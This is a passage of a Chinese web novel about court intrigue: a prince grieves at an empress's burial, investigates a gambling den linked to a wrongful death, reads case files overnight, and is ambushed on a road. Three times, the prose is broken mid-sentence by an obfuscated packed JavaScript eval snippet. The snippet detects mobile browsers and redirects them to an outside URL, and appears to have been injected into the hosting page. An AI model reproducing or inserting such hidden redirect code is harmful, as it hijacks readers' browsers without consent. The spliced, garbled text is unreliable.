“陛下，当心龙体啊。”他小声劝道，见景帝一言不发，识趣地闭上嘴。 盛年早衰，皇后的陵寝尚未完全竣工，通往地宫的甬道两侧壁画还残留着空缺，砖块碎石草草堆于一角，里里外外透着仓促。 梓宫被稳稳地从龙杠上卸下，銮仪卫肩扛着棺木，踏向地宫深处。 “落——位——！” 随着礼官一声高唱，梓宫平稳地安放在棺床之上。文武百官匍匐跪地，行最后的叩拜大礼。 雨势骤然变大，自天上浇下来，整个皇陵笼上了一层白雾。 叶朗以头触地，久久不起。雨水如注，顺着脖颈灌入素白的孝服内，激起一阵彻骨的凉意。 他抬起头，额上猩红刺目，眼中却是青灰一片。脸庞消瘦了一大圈，颌骨突出，缀着密密的胡茬，尽显颓败。 沉重的石门在他眼前缓缓合上，他忽地挣脱一旁搀扶的侍从，飞扑上去。 两柄长戟交叠，阻拦住他的去路。他扑得急了，锋刃划破衣衫，印出一大片鲜红。他却像无知觉般，徒手攥着戟刃，不管不顾地往前冲撞。 “九殿下，刀剑无眼！”銮仪卫的人忍不住出声提醒。一声闷响，石门严丝合缝地闭上，吞进所有的光。 “母后——”他痛呼出声，再也支撑不住，跌倒在地，只觉心口破了个大洞，呼呼地灌着寒风。 这般凄惨的场面，在场人无不动容，纷纷掩面哀叹。 叶朗趴在地上，雨水泪水早已模糊不清，不知过了多久，眼中钝痛，方才起身。 “父皇，”他朝着景帝恭恭敬敬行了个大礼，一身斩衰孝服沾满泥泞，声音嘶哑破裂：“母后凤驭宾天，儿臣五内俱焚，恳请父皇，准儿臣以此代罪之身，为母后守陵。” 此言一出，在场静了一瞬。 很快有文官赞扬：“九殿下此心，至纯至孝，足可垂范天下士子。” 景帝站于高处，丧服湿透，粘在身上，他凝视伏在地上狼狈至极的叶朗，眸中翻涌，终是吐出一字：“准。” —— 被禁足的半月里，叶望多半时候昏昏沉沉，在幻境与现实的边界游离，似人似鬼。 他深知阿芙蓉的剂量已令他隐隐失控，遂强力克制内心蠢蠢欲动的药瘾，度日如年。好在这种情况没有持续太久。 这日他于混沌中苏醒，得知陆皇后自缢而亡，叶朗自请守陵时，恍惚了几下，未多言语。 千秋阁的帖子送了好几封到府上，黎叔仔细收着，此时一并送上。 “备马。”他粗略看了看，抬脚跨出屋。 “殿下来了。”寒芳落虚虚倚在窗边，目光落在熙攘的长街上。 叶望轻车熟路地盘坐于蒲团上，自顾自斟了盏茶，脸上仍是苍白：“阁主发了好几封帖子到本王府上，本王若再不来，未免有些不识抬举了。” 寒芳落眼睫弯了弯，收回目光，将手中的熔金香粒放回原位，轻笑出声：“殿下莫要折煞妾身。” “礼部司郎中的事，有进展了。”她收起面上的不经，正色道。 “礼部司郎中崔烨，南阳庐县人，天凤一年进士出身，入礼部为官。为人恭俭温良，平易逊顺，在朝中有口皆碑。只是，崔烨本人不知为何，一直未纳正妻，只有一妾，且是应付双亲所纳。” “我顺藤摸瓜，查到一桩陈年旧事，不知真假。” “哦？”叶望一手支着额角，懒洋洋开口，“说来听听。” “崔烨中进士那年，走马观花时，撞见了羽林大将军的嫡女詹氏，也就是当今齐王殿下的生母。二人一见钟情，互生情愫，奈何身份地位悬殊，詹家极力反对，以不欢而散收场。没过多久，詹氏便进宫参与选秀，不出意外被景帝看中，留在了宫里。” 叶玄的生母？叶望眼神邃晦，倘若他未记错，詹氏已病逝有些年岁了。 “关于詹氏，也有一些说法，”寒芳落补充道，“天凤十六年，也就是七年前，詹氏突发恶疾而亡，此前一直身体康健。自她死后，她宫中的下人皆数被打发出宫，另谋他路了。而詹家自请离京，做了一方都督。” 七年前，也就是勾墨案发的前一年，这两者，会有关联吗？叶望轻敲紫檀桌面，细细思索。 正说着，楼下传来嘈杂声，很快一女子匆匆上来，面露难色：“阁主，那人又来了。” 寒芳落眉头微皱。 “何人？”叶望问道。 寒芳落叹了口气，复又坐下：“殿下有所不知，这阵子，一老妇每日都来千秋阁门口哭丧。看她披头散发，神志不清，不知经历了什么，可问她也不答，只求庇佑。” “也是个可怜人，我便一直未赶过她。但楼里的贵人们觉得晦气，近日颇有不满。” 叶望站起身，步至屋外，往下看去。雕花大门旁，确有一老妇。她趴在地上，嘴里念叨着，一边流泪一边警惕张望，十分奇怪。 “去看看。”叶望拂袖下楼。季辞秋等在楼下，亦盯着那老妇多时，见叶望下楼，她起身跟了过去。 “婆婆，究竟发生何事了？”寒芳落倚着门问道。 那老妇只一味摇头，口齿不清地喃喃：“求大人护佑... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978842|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...” “你若不说何事，如何护佑？”寒芳落无奈道。 “老人家，你日日来千秋阁哭，却又不肯说何事，是不肯，还是不敢？”叶望试探道。 老妇眼睛眨了眨，压低声音继续抽泣道：“我的儿啊......冤枉啊......” “你的儿子含冤，为何含冤？”他循循善诱。 老妇眼中霎时冒出熊熊恨意，从嘴角挤出几个字：“......过山虎。” 叶望抬起身，心中有了数，他又问了几个问题，逐渐了解了事情始末。 这老妇有一儿子，在东市经营一家首饰匠铺，生意红火。后来认识了一朋友，隔三岔五约他去千金坊，欠下巨额赌债。他变卖家产还债仍不足够，最终店铺被夺，争执过程中被失手打死。官府以“欠债不还，互殴致死”结案。老妇不服，去京兆府闹了一次，当天夜里便被人潜入家中威胁，再没敢声张。 后来听闻过山虎在千秋阁闹事吃了瘪，便来碰碰运气，为儿伸冤。 叶望揉了揉额角，千金坊背后是京兆府，官商勾结，审案的结果并不出人意料。只是他虽为千秋阁出头，并无意淌京兆府这趟浑水。况且赌徒的情况复杂，仅凭老妇一人之词，难断清白。 “殿下你看......”寒芳落瞅着叶望的脸色道。 “老人家，千金坊打人失手，可有证据？”他问道。 “我亲眼瞧的，还能有错吗？”老妇被勾起痛苦的回忆，激动起来，“我亲眼......亲眼瞧着我的儿被人活活打死，一拳一拳......我什么也做不了，太痛了，太痛了啊......” 她声音嘶哑，双目通红，晕了过去。 —— 千金坊的事，叶望还在斟酌，京城命案，若非牵扯高官贵族，皆由京兆府审理，而后上报。案件卷宗均在京兆府，自是府衙说啥便是啥。千金坊行事张狂，鱼龙混杂，又有京兆府撑腰，不知有多少桩冤假错案压在其下。只是偏偏这一桩，喊冤喊到了他面前，他一时辨不清是巧合还是圈套，不敢轻举妄动。 这日，叶望晨练归来，见黎叔拿了封帖子候在门口。 “王爷，方才大理寺卿府上差人送来张帖子。” 叶望皱了皱眉，有些意外。他将将解了禁足，这段日子，朝堂上的人揣摩着圣上的态度，纷纷向叶玄示好。这个时候，竟有人逆而行之，往他的府上递帖子。 他看了眼手上的烫金花笺，三两下拆开。 只见一行蝇头小楷书写的小字：明日巳时，常乐坊云来茶庄，恭候五殿下。落款是大理寺卿的私印。 “来人说，大理寺卿诚意邀约，请您前往品茶，若王爷不放心，可携护卫前往。”黎叔补充道。 叶望捏了捏花笺，暗暗沉思。敢落私印，主动送上权柄，确有诚意，只是这般破釜沉舟。不知其意欲何为。明日去探探。 48. 盟友 云来茶庄，叶望独身一人，步至约定的雅间，掀帘而入。 雅间内，一黑袍中年男子等候多时，见叶望入内，站起身施了个礼：“晋王殿下。” 叶望点头致意，兀自坐下，淡淡开口：“大理寺卿，找本王何事？” 伍志泽面上和气，将炉上些微沸腾的瓷壶取下，笑道：“请殿下来，当然是品茶的了。” “上好的碧螺春，今年头一茬，殿下尝尝。”他一边说着，一边将热气腾腾的茶水斟入茶盏，恭敬地递给叶望。 叶望接过，看着盏中碧清的颜色，笑了笑：“伍寺卿，本王同你很熟吗？” 伍志泽执盏的手微微一顿，回之一笑：“殿下不还是来了？” 二人彼此试探，心照不宣，遂一言不发地饮茶。 “实不相瞒，下官请殿下来，确有事相商。”伍志泽打破沉默。 叶望将茶盏放下，静静看着他。 “对付齐王，下官愿助殿下一臂之力。”伍志泽开门见山。 他说得这样直白，叶望目光闪了闪，不动神色道：“伍寺卿为何要对付齐王？” 伍志泽扯了扯嘴角：“此事说来话长，齐王的作风殿下也知，虽不常引入注目，但手段狠辣。前些年下官审理了桩案子，案子虽不大但是桩冤案，线索查到齐王那便断了，我深觉此事不简单，便如实上报了。后来证实确是齐王府的人所为，治了罪，自此得罪了齐王。” “下官知眼下宫廷局势动荡，几派势力相争，难以独善其身。齐王若是往后即位，必不会将此事轻轻放下，到时寻个理由治罪轻而易举。” 叶望了然，又道：“本王若是无意争储呢？” 伍志泽微微一笑：“下官只知若是齐王即位，亦会容不得殿下，在这点上，下官与殿下的立场是一致的。” 敌人的敌人，那便是盟友了。 叶望勾了勾唇角，举杯：“伍寺卿打算如何助本王一臂之力？” 伍志泽举杯回敬：“初次合作，为表诚意，下官可以透露给殿下一个消息。” 他将身子往前探去，压低声音道：“京兆尹与齐王有私交，关系匪浅。” 叶望目光一凝，撩起眼皮看他：“伍寺卿如何得知？” “还是与方才那桩案子有关，查案过程中发现了一张未来得及销毁的文书，大理寺通过字迹鉴定，猜测其出自京兆尹之手。只可惜当夜盗贼潜入，将证据悉数偷走，但也愈加印证了这个猜想。”伍志泽不紧不慢解释道。 叶望端坐于席，拂袖凝思，不由想起千秋阁叫冤的老妇。倘若京兆尹是叶玄的人，那京兆尹下的千金坊，与叶玄有关联吗？ 他一边想着，一边将茶水一饮而尽，沉声道：“本王知道了，只是伍寺卿为何不再往下查了？” 伍志泽摇摇头，叹了口气：“先前的证据被销毁，再难寻理由。况且因着那桩冤案，齐王对大理寺戒备异常，若是明面上查，极易打草惊蛇。此事还需仰仗殿下，私下里查探。” —— 千金坊地处长安城东，推开一扇不起眼的木门，穿过狭窄的走道，眼前豁然开朗。喧闹声混着烟草、汗液与茶水的气息铺面而来，厅堂极大，设有赌桌，每个桌前围满了一圈人。 叶望与季辞秋带着青铜面具，站在门口。千金坊规模庞大，时有达官贵人来此寻欢作乐，又不便显露身份，遂定了条规矩，入坊者需佩戴面具方可入内。 身着靛蓝杭绸短褂的跑堂注意到门口的二人，迎上来：“客官里边请。”又瞄了一眼二人衣着装扮，心中有了数，哈着腰道：“红货还是白货？” “何意？”叶望问。 跑堂打量了他一眼，意识到是新客，朝一旁倚在墙边的男子使眼色，又笑道：“想必二位是新来的，他带你们走一遍规矩，便知了。” 叶望与季辞秋对视一眼，跟着那人上了二楼。雅间内，正中摆放着赌桌，桌上一张宝局图，划分为几个区域，散落着骨质骰子。 男子简单介绍了规则，很快上来几个大汉，二话不说，便开了一局。 二人不得已硬着头皮参与，几局下来，竟皆胜。其他几人垂头丧气，将银钱尽数推过来。 男子在一旁拍手，称赞道：“二位天赋异禀，初次入场便连胜，当真有骰神风范。要不要，再开几局？” 叶望欣然答应，大手一挥，豪掷数金。 男子两眼放光，动作更加殷勤，只听客人道：“我有一朋友的朋友是这儿的常客。” “哦？千金坊的常客小的皆有印象，不知他是......” “我只知他诨名，千面狐。” 他面上微微一动，很快笑了笑：“好巧不巧，他今日也在坊中，要不要请他上来，一起开一局？” “如此甚好。”叶望点点头。 千面狐被人引着，上了二楼，见着里头衣着不俗的公子，抱拳道：“幸会，敢问阁下的朋友是哪位？” 叶望微微一笑：“我倒是想告诉兄台，可我那朋友怕我赌技不精，毁了他名声，特意叮嘱我不要透露。” 他倒也不介意，袖子一撸，干脆道：“开始吧。” 自从千面狐加入后，局势急转直下，连输了好几局，眼看押上的金子要输个精光，季辞秋心痛得紧，见叶望风轻云淡，只得按下。 “兄台果真技艺精湛，我输得心服口服。”几局下来，叶望毫不羞恼，拱手夸赞。 “不敢，运气好罢了，”千面狐谦虚道，主动邀约，“坊内还有别的玩法，阁下可要试试？” “可惜了，今日本是来逛逛，未带多少银子，改日吧。” 季辞秋闷闷走出坊，欲言又止，终是忍不住道：“这赌坊害人不浅，诱着人上瘾......” “还是少沾染为好。”她看着路，旁敲侧击提醒道。 叶望看她一眼，见她目不斜视，强装镇静，心头微动，眉目沉沉：“你在……担心本王？” “......随口一说。”她摸了摸鼻子。 叶望收回视线，平静道：“本王故意的。” 季辞秋微怔。 “方才同桌的那些，都是千金坊内的托儿。他们故意让新客小赢几局，诱其深入，再收割。” “那千面狐，看起来亦是托儿中的一员。” “为何？”季辞秋愣了愣，方才她光顾着掷骰子了，未曾注意。 “他进来时，跑堂朝他使了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986749|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个眼色，且呼之即来，同进同退，如臂使指，哪像个闲散赌客。” 季辞秋沉思，倘若千面狐是赌坊的人，那老妇的儿子很可能被赌坊做了局，先诱他上瘾，令他背上巨债，再顺理成章地抵押他的铺子，收归自己所有。 好黑的手。 只是有一点她想不明白，此案由京兆府审理，倘若她没记错的话，叶望的那个朋友似乎是京兆府的参军，向他了解实情定要方便许多，可叶望似乎并不打算这样做。不知是为何。 —— “晋王为何还活着？”叶玄居高临下，俯视着跪在地上的人，狭长的凤目中升腾起黑色的迷雾，他伸出两指，抬起季辞秋的下巴，慢悠悠道，“季姑娘，告诉本王，为何？” 季辞秋不自觉打了个寒战，她强迫自己冷静下来，直视他的眼睛，解释道：“羽林卫的人守得太紧，卑职一直未寻到机会，请殿下责罚。” 叶玄眯眼打量她，似在评判这句话的可信程度，良久嗤笑一声，松了手：“可惜，脱离本王的机会，你未抓住。” 季辞秋抿唇不语。 “晋王这两日做了什么？”他背过身，负手走到池边。 “千秋阁吃酒看戏。” “就这些？”叶玄转过身。 季辞秋凝眸，毫不迟疑地点头。 叶玄看她一眼，没有多说。 “你要看的，”绿蔓指了指桌的左上角，干巴巴道，“都在这儿了。” 季辞秋朝她指的方向看去，那里果真摊了几张面皮，薄如蝉翼，在日光下栩栩如生，看着有些瘆人。 “好逼真，”她捻起一张，细细端详，“这是女子的脸吗？” 绿蔓瞥了一眼，点头：“好些年前的了，有许多瑕疵，不能用。” 季辞秋又捻起一张：“这张看着像男子。” 她小心翼翼地抚摸着细密的纹路，忍不住惊叹：“这些面皮乍一看都差不多，可细看却有些微差别，做工之精细，足以以假乱真。姐姐真厉害！” 绿蔓移开眼，手上动作忙了起来。她的易容技艺出神入化，她并非不知，只是忽然收到这样的称赞，她还是有些不自在。 “姐姐是如何做上这行的？”季辞秋好奇道。 绿蔓手中一顿，没吭声。一开始只是为了谋生，学一门手艺，后来做着做着愈发沉迷，她喜欢看人们借着她的面具扮演不一样的身份，好像她也成为了造物主。 再后来她被人盯上，差点丢了性命，被叶玄所救，自此入了王府。王府很华贵，王府的主人亦是天之骄子，依托这里，她的易容术有了更大的施展空间，可她好像渐渐地失去了热情。叶玄从不会在意面具的做工质感，只关心何时做完、维持时限，而她也不自觉调整了方向，开始执着于效率和持久度。 她好像许久未认真做过一副面具了。 绿蔓手抖了抖，良久自嘲一笑：“为了谋生，仅此而已。” 待季辞秋走后，叶玄叫来成影，低声道：“郭统那边的兵准备得如何了？” “回王爷，已筹备完毕，随时待命。” 叶玄点头，神情有些不耐烦：“转告他，小心行事。若再出纰漏，休怪本王不再替他善后。” 49. 夜读 京兆府，张展从朱漆大门后迈出，与同僚拱手作别后，往回走。忽地被一人拦住去路，他定睛一看，迟疑道：“我们是不是在哪见过？” 他凝眉，作沉思状，终是想起什么，一拍手：“你是五殿下身边的侍卫。” 季辞秋点头，抱拳恭敬道：“卑职见过张参军。” “找本官何事？”张展煞有介事地咳了几声。 见他不答，张展昂了昂头，瞥他一眼，装作不经意道：“是五殿下叫你来的？” 季辞秋点头又摇头，最终叹了口气，如实道：“非也，只是此事与王爷有关，是卑职自作主张，擅自来寻张参军了。” 张展闻此，上下打量了她一番，将她拉至僻静处，皱眉道：“与五殿下有关......是何事？” 季辞秋将老妇的案子从头至尾地说了一遍，紧接着道：“此案由京兆府受理，不知张参军可有印象？” “有些印象，”张展点头，眼神复杂地看她一眼，“千金坊背后是京兆尹，五殿下可知？” 季辞秋点点头，神情严肃。 张展会意，默了默，回忆道：“此案的卷宗我看过，从验尸格目到口供物证皆全，若是冤案，恐怕会在卷宗上做手脚。” 卷宗上做手脚，那就有些难办了，季辞秋拧眉。 “不过也并非无解，”张展紧接着道，“这样吧，我明后日将卷宗抄录一份给你，若有不寻常之处，诸如仵作记录、证言等，可以逐一查证。” “如此甚好，”季辞秋眼睛亮了亮，“多谢张参军了。” 第三日下值之时，张展果然按照约定，自怀中取出厚厚一沓纸，嘴中喃喃：“不抄不知，一抄才发现这样多。幸好这两日无事，今日府尹又不在府中，不然我定是抄不完的。”说罢他甩了甩酸痛的手腕。 “有劳张参军。”季辞秋接过，感谢道。 “罢了罢了，若是能帮上殿下，算不得什么大事，”张展摆了摆手，又叮嘱道，“仔细保管着，切莫泄露。” 季辞秋郑重点头。 回府天已擦黑，她粗略翻了翻，卷宗记录繁杂，单单是审批复核的往来公文都占去几页，一时看不出什么。她左思右想，终是揣上卷宗去了清风居。 清风居内，叶望盘坐在紫檀木榻上，衣衫半褪，露出精壮的上身。烛光为他的轮廓镀上一层流动的金，肌理因隐忍而紧绷，他紧抿薄唇，而后摸出匕首，毫不犹豫地在臂上划了一道。 “嘶——”鲜血很快渗出，他长呼一口气，意识清醒了些。这些天来，毒|瘾如幽魅般，时不时缠上来。没了阿芙蓉，那股欲望强烈地膨胀着，噬心蚀骨，要将他生生撕碎。他试了许多办法，唯有此法管用些。 “王爷，白轩来了，说有急事找您。”黎叔在门外道。 叶望目光动了动，快速将伤口裹上，系好衣带。 门被推开，自外向内倾泻一地月光，季辞秋执着卷宗上前：“王爷，此物请您过目。” 叶望接过来，翻了翻，沉沉看她一眼：“从何而来？” 季辞秋迟疑，对上他审视的目光，知他已猜到大半，遂如实道：“找张参军抄录的。” “为何擅自去寻他？” “此案由京兆府审理，张参军能接触到案宗，我知王爷定也想到此处，但不知为何不去，我便想去碰碰运气。”季辞秋垂眸道。千金坊的事，她并未告知叶玄，兀自瞒了下来。夜长梦多，她不敢保证叶玄会不会觉察什么，还是先下手为强。 “有旁人看见吗？” “未曾，”季辞秋忙道，“此事我与张参军皆谨慎。” 叶望未答，凝眸看着她，沉声道：“此事若为旁人所知，你可知有何后果？” 季辞秋顿了顿，见他沉着一张脸，隐约意识到什么。张展的官阶虽不高，可张家却是名门望族，在朝中有一席之地。叶望不与张展联系，怕是刻意避嫌，避免将张家卷入其中。而她急着拿到卷宗，未同他商量，便以他的名义同张展联络。思及此，她额冒冷汗，不敢吱声。 叶望坐在阴影里，不动声色地打量着座下之人。查案心急倒可理解，只是这般自作主张，不知是有意为之还是考虑不周。还有张展这厮，也不同他确认，就这样大赖赖地应下，倘若有心之人做套，只怕会闭着眼睛往里跳。 他额角直跳，揉了揉眉心，被这么一搅和，方才的瘾意顿时消散。事已至此，他瞥了一眼噤若寒蝉之人，无声叹了口气：“今夜随本王看完这卷宗。” 季辞秋正心中惴惴，闻之一愣：“今夜？” 叶望将卷宗按类目分开，点起烛灯，淡淡扫她一眼：“此物不可久留，今夜阅后即焚。” 季辞秋应下，起身坐至桌案一侧，时辰已不早，卷宗又需细看，怕是要通宵。罢了，过去又不是没通宵过，说不定一不小心，又让她穿越回现代了呢。这样想着，她一下子有了干劲，拿起验尸格目，细细看起来。 叶望捧着卷轴，默默看她一眼，移回视线。烛火摇曳，将室中的黑暗逼退三尺，只余断断续续的翻书声。心中的猜疑融进书页中，逐渐变得纯粹。 “这里似是不对，”季辞秋低声喃喃，自卷中抬起头来，“关于尸体的记录上，背部后脑并未有伤，而多是手臂等处的分散式伤口，死因为周身多处经脉受损，致气血逆行，元气涣散而亡。可据老妇所言，她的儿子被打时趴跪在地，后脑被人重击，此后再无反应。” 叶望放下手中的卷轴，接过验尸格目看了看，又重新拿起方才看的卷宗道：“审讯口供亦有奇怪之处。” 季辞秋闻声凑过来，跳动的烛火在她清秀的侧脸上投下柔光，几缕发丝垂落在额前，被她用小指轻轻勾回耳后。 他执卷的手微微一颤，很快稳住，正色道：“案发时为戌时两刻，家家户户早已闭门歇业，若是发现动静也多半是听见而非看见。可偏偏有一证人证实，亲眼目睹老妇之子先动得手。” 季辞秋凝眸：“确是蹊跷。且不说是否真为目击证人，案发时千金坊数名打手挤在一间小小的铺子里，人员混杂，如何一口咬定是死者先动的手。” 叶望翻了翻另一卷轴，指尖点在一行字上：“此证人名为汪语堂，京郊万年县人，从商，在东市有一家金银铺。” “竞家。”季辞秋脱口而出。 叶望没说话，拿起另一卷轴快速翻了翻，带起一阵微风。身旁的烛火剧烈摇晃起来，眼看要舔舐上垂落的帐幔。 “当心。”季辞秋的声音同时响起，手已迅捷而轻巧地护住灯罩。温热的指尖不经意擦过他正要挡风的手背，一触即分。 两人都顿了一瞬，光影稳定下来，他看到她耳根泛起极淡的红晕，宛如暖玉。 “是本王大意了。”他将烛台移远了些，哑声道。 “无碍，”季辞秋垂下眼帘，重新拿起卷宗，“此人的证言太过激进，可从此处下手。” 叶望点头，二人又继续翻阅其他，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997664|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可疑之处皆用笔抄录，以备后续查阅。 时间流转，不知不觉入了后半夜，窗外万籁俱寂，偶有烛芯爆裂的噼啪声，叶望的手指拂过纸上密密的记录，眉宇间透着专注。 一阵轻微但绵长的呼吸声传来，他循声望去，便看到了灯下已然入睡的季辞秋。 她一只手还虚握着笔，另一只手搭在摊开的卷宗上，像是随时要继续查阅。头微微侧向一旁，靠在椅背的雕花高处。平日里那双清亮剔透、洞察细微的眸子此刻安然闭合，浓密的眼睫垂覆下来，在眼下投出一小片柔和的阴影。跳跃的烛光在她脸上流转，勾勒出饱满的额头、秀挺的鼻梁，以及红润的唇瓣。 叶望呼吸一窒，心像是被什么东西轻轻撞了一下。他一时没动，捧着卷宗静静凝视她。 几缕不听话地青丝再次垂落，随着她轻浅绵长的呼吸，微微拂动。他下意识伸手，却在触碰到她脸颊之前停住，只摊开掌心遮挡住光线。 季辞秋在睡梦中几不可察地蹙了蹙眉尖，又缓缓舒展开。 空气中弥漫着墨纸香，还有一丝从她身上传来的、极淡的，像是雨后被碾过的青草气息，清冽又干净。他想起她狡黠透亮的双眼，想起她扶弱济贫时的温和笑意，想起她不经意落在他身上的目光。不知为何，他时常从她的目光中读到凝视的意味，一种无关阶级无关身份的、自上而下的凝视，隐隐藏着悲悯。他尝试探究，却总觉得隔着层层大雾，分辨不清。 这个女子，像一枚投入深潭的石子，在他原本沉寂的世界里激起了层层涟漪。他知她危险，知她来路不明、身份可疑，知她身为女子，这份潇洒自如实不寻常，可他太渴望这份不寻常了，以至于难以自持，任由自己沉迷其中，好在重重桎梏中有喘息的机会，不至于活成一副行尸走肉。 一阵夜风从未关严的窗隙钻入，带着深秋的凉意。季辞秋无意识地瑟缩了一下。 他起身，自柜中取出一件薄披风，步至她身边。犹豫了片刻，最终将披风展开，轻轻地搭在她身上。 季辞秋于梦中轻轻咂了一下嘴，无意识地往披风里缩了缩，寻了个更舒服的姿势。 叶望退回座上，重新拿起那份未看完的卷宗，继续看下去。 次日清晨，季辞秋被鸟鸣声惊醒，朦朦胧胧抬起头，看见一桌案宗，方想起昨日她与叶望夜读卷宗，困得睁不开眼，竟一觉睡到天明。 手下的卷宗还有几页未看完，她猛抬起身，搭在肩上的披风滑落在地，她伸手捡起，挠了挠头，这是从何而来？ 踏出门，清晨带着湿意的气息扑面而来，耳房通着武堂，隐隐有响动。 季辞秋伸手哈气，缓缓走过去。一道白色身影随着剑气挥舞，听见她的脚步声，骤然收拢停顿。 “王爷早。”她打了声招呼，心中暗自感叹，不愧是领兵打仗的人，精力真好，熬了个大夜，还能起早练武。 叶望点头示意，目光轻轻掠过。长觉方醒，女子眼中朦朦，氤氲的水汽还未散开。两颊残留着深深浅浅的睡痕，被凉风一吹，飞起两朵粉嫩的桃花。发髻松松散散地盘在头上，将欲散开。 他忽然很想再看看她长发的模样。 “王爷，那件披风......” 一声疑问适时打断了他的绮思。他闷磕一声，面无表情反问：“什么披风？” “无事。”季辞秋见他这副模样，连忙摆手，若无其事地揣着袖子离开。果然是她多想了，应当是黎叔盖的。 50. 圈套 东市，商铺鳞次栉比，汇成一条喧嚣的长河。季辞秋与叶望在一家名为汪氏金银的铺子前驻足，看向禁闭的大门，二人皆皱了眉。 季辞秋走入隔壁的裁缝铺，探头打听：“掌柜的，这汪氏金银铺何时闭店了？” 掌柜忙着补手上的衣裳，头也没抬道：“前些日子，约莫十来天吧。” 十天前就闭店了？这般未卜先知。 “你可知他去了何处？” 掌柜摇头：“他家方来东市不久，与左邻右坊不甚相熟，闭店亦是静悄悄的。” 季辞秋谢过，将情况禀告了叶望。 方来东市不久，照理说，他仅是一名证人，就算说了谎，如今案子已结，犯不着为此丢下铺子不管了。若是他们暗中调查打草惊蛇，亦是说不通的。十日前，他们还不知有此事。 正思索着，一男子神神秘秘地凑上来，低声道：“二位是来寻汪掌柜的？怕是与斜对面那家命案有关吧。” 季辞秋与叶望对视一眼，扬声道：“为何？” “此地发生命案，府尹找汪掌柜作证，我都看到了。”男子负手道。 “这么说，你很了解这桩案子？” “不算了解，只是我这人喜欢凑热闹，暗中跟着官老爷，寻些乐子。” “那你可还瞧见什么？”季辞秋追问。 “这个嘛......”男子抬起下巴指了指斜对面同样大门紧闭的铺子，一副讳莫如深的模样，“京兆府的人将......尸体扔在了西郊的乱葬岗。” “你如何知道？” 男子揩了揩鼻子，摊手：“说了，我喜欢跟着官老爷寻乐子。”话说完，不等二人回答，哼着小曲走远了。 季辞秋看着男子远去的背影，心中盘算。昨夜读卷宗时发现仵作的验尸格目记录有异，料想仵作定是被府衙收买，再难查出什么，便决定先来东市寻证人。眼下证人虽未寻到，竟得知了尸体的去处。也不知过了这么些时日，尸体还能不能找到。 她看了眼叶望：“王爷，要不要去看看？” 叶望略一沉思，点头。 西郊乱葬岗距离皇城甚远，二人自东市出发，沿着兴化大街一路疾行，出了金光门。城外每隔几里支着些摊贩，有周边乡镇进出长安城的人在此歇脚。 又走了一段时间，人烟逐渐稀少。远处的关山山脉起伏连绵，因着距离远，仅能看到一点轮廓。 叶望按马疾行，没了千牛卫那帮人的监视，这一路的调查轻松了许多。从大理寺透露消息到查案卷宗再到寻找证据，每一步环环相扣，紧密相连，一刻都不曾耽搁。想找的线索还未搜寻便主动送上前来，不费吹灰之力。想到这里，他额心一跳，眉头渐渐皱紧。 不对，有点太顺利了，顺利得像有人专门将这条线理清，一截一截地放给他，引他前来。他想起方才主动提供线索的男子，紧锁眉头，猛地一勒马缰。随着一声激烈的嘶鸣，马猛地抬高前掌，停在路上。 “王爷？”季辞秋察觉异常，亦紧急刹停。 “回去。”叶望面色凝重，言简意赅。 “不去乱葬岗了？” “不去了。”他急急调转马头，额冒冷汗。处心积虑地将他引至荒郊野岭，是想灭口吗？ 他不敢逗留，以最快地速度往回赶。 季辞秋见他这般模样，心中亦不安起来，驱马紧随其后。宽阔的驿道上赫然窜出数人，皆黑衣蒙面，目露凶光。 她心头一惊，待看清路面上的铁钉时，为时已晚。钉子深深刺入马蹄，马仰天长鸣，癫狂地扭动着身子，将她甩了下来。 叶望的马亦未能幸免。他稳稳落地，挡在她身前，缓缓抽出短刀，眼中浮起黑色的煞气。 他环顾四周，挑衅般地勾了勾手，嘴角浮起一丝浅笑：“就凭这几个，想杀了本王？” 话音刚落，他已如银蛇般掠近，刀刃划过，鲜血喷溅而出，近前几人瞬时毙命。 “王爷，当心！”季辞秋的声音在身后响起。他略微偏头，见一人举刀凌空劈下，迅速调转刀身，自空中挽了轮满月，直直迎上去。 咣当一声，刀刃剧烈碰撞，划出一道火星。他趁势逼近，一脚将人踹飞，压倒紧随其后欲扑上来的人。 远处传来兵甲碰撞的声音，叶望心中一凝，抬头看过去，瞳孔骤然一缩。 “左武卫听令，诛杀贼人，保护五殿下！”卫羽急急赶来，见叶望被围，顾不得其他，高声下令。 “留活口。”叶望紧跟着道。 哪知那群人见有人来，齐齐咬破嘴里的毒包，倒地一片。 “殿下恕罪，末将来迟了。”卫羽执横刀半跪于地，自责道。 叶望擦了擦脸侧溅上的血，呼了口气：“何人叫你来的？” 卫羽如实道：“末将在南门巡视，接到密报，说殿下您在西郊遭遇贼人伏击。” 